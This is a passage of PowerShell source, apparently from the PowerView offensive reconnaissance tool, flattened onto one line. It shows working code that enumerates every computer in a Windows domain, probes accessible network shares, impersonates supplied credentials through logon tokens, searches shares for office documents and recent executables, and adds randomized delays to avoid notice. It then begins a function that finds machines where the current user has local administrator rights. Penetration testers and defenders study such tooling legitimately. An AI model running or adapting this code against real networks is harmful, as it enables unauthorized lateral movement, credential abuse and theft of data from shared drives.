($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $SearchShares = @() if ($TargetComputer.StartsWith('\\')) { # if a share is passed as the server $SearchShares += $TargetComputer } else { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and display what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name $Path = '\\'+$TargetComputer+'\'+$ShareName # make sure we get a real share name back if (($ShareName) -and ($ShareName.Trim() -ne '')) { # skip this share if it's in the exclude list if ($ExcludedShares -NotContains $ShareName) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $SearchShares += $Path } catch { Write-Verbose "[!] No access to $Path" } } } } } } ForEach ($Share in $SearchShares) { Write-Verbose "Searching share: $Share" $SearchArgs = @{ 'Path' = $Share 'Include' = $Include } if ($OfficeDocs) { $SearchArgs['OfficeDocs'] = $OfficeDocs } if ($FreshEXEs) { $SearchArgs['FreshEXEs'] = $FreshEXEs } if ($LastAccessTime) { $SearchArgs['LastAccessTime'] = $LastAccessTime } if ($LastWriteTime) { $SearchArgs['LastWriteTime'] = $LastWriteTime } if ($CreationTime) { $SearchArgs['CreationTime'] = $CreationTime } if ($CheckWriteAccess) { $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess } Find-InterestingFile @SearchArgs } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } else { Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'Include' = $Include 'ExcludedShares' = $ExcludedShares 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-LocalAdminAccess { <# .SYNOPSIS Finds machines on the local domain where the current user has local administrator access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and for each computer it checks if the current user has local administrator access using Test-AdminAccess. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. Idea adapted from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. 38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1